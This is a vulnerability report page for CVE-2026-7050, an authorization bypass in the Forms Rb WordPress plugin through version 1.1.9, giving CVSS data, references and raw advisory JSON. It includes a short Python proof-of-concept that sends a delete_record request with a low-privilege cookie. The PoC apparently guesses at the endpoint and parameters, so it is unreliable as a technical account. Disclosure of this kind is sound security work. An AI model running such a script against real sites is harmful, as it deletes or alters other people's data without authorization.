Security Vulnerability Report
中文
CVE-2026-7050 CVSS 4.3 MEDIUM

CVE-2026-7050

Published: 2026-05-12 09:16:57
Last Modified: 2026-05-12 14:03:53

Description

The Forms Rb plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.9. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to read form submission records, modify form configuration options, and delete records belonging to any form they do not own.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Forms Rb <= 1.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration base_url = "http://target-wordpress-site.com" api_endpoint = base_url + "/wp-content/plugins/forms-rb/app/api.php" # Attacker session (Low privilege user) cookies = { "wordpress_logged_in_abc": "attacker_session_cookie" } # Exploit payload: Attempting to delete a record owned by another user # Based on the vulnerability, the ID check is missing or bypassed payload = { "action": "delete_record", "record_id": "999" # ID of a record the attacker does not own } headers = { "User-Agent": "PoC-Scanner/1.0", "Content-Type": "application/x-www-form-urlencoded" } try: # Send the request response = requests.post(api_endpoint, data=payload, cookies=cookies, headers=headers) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! Authorization bypass confirmed.") print("[+] Response:", response.text) else: print("[-] Exploit failed or target patched.") print("[-] Status Code:", response.status_code) except Exception as e: print("[!] Error:", str(e))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7050", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:56.907", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Forms Rb plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.9. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to read form submission records, modify form configuration options, and delete records belonging to any form they do not own."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/forms-rb/tags/1.1.9/app/api.php#L128", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/tags/1.1.9/app/api.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/tags/1.1.9/app/api.php#L316", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/tags/1.1.9/app/api.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/tags/1.1.9/app/api.php#L444", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/tags/1.1.9/app/api.php#L623", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/trunk/app/api.php#L128", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/trunk/app/api.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/trunk/app/api.php#L316", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/trunk/app/api.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/trunk/app/api.php#L444", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forms-rb/trunk/app/api.php#L623", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/80b27cde-68d7-439d-aee6-a390035e2022?source=cve", "source": "[email protected]"}]}}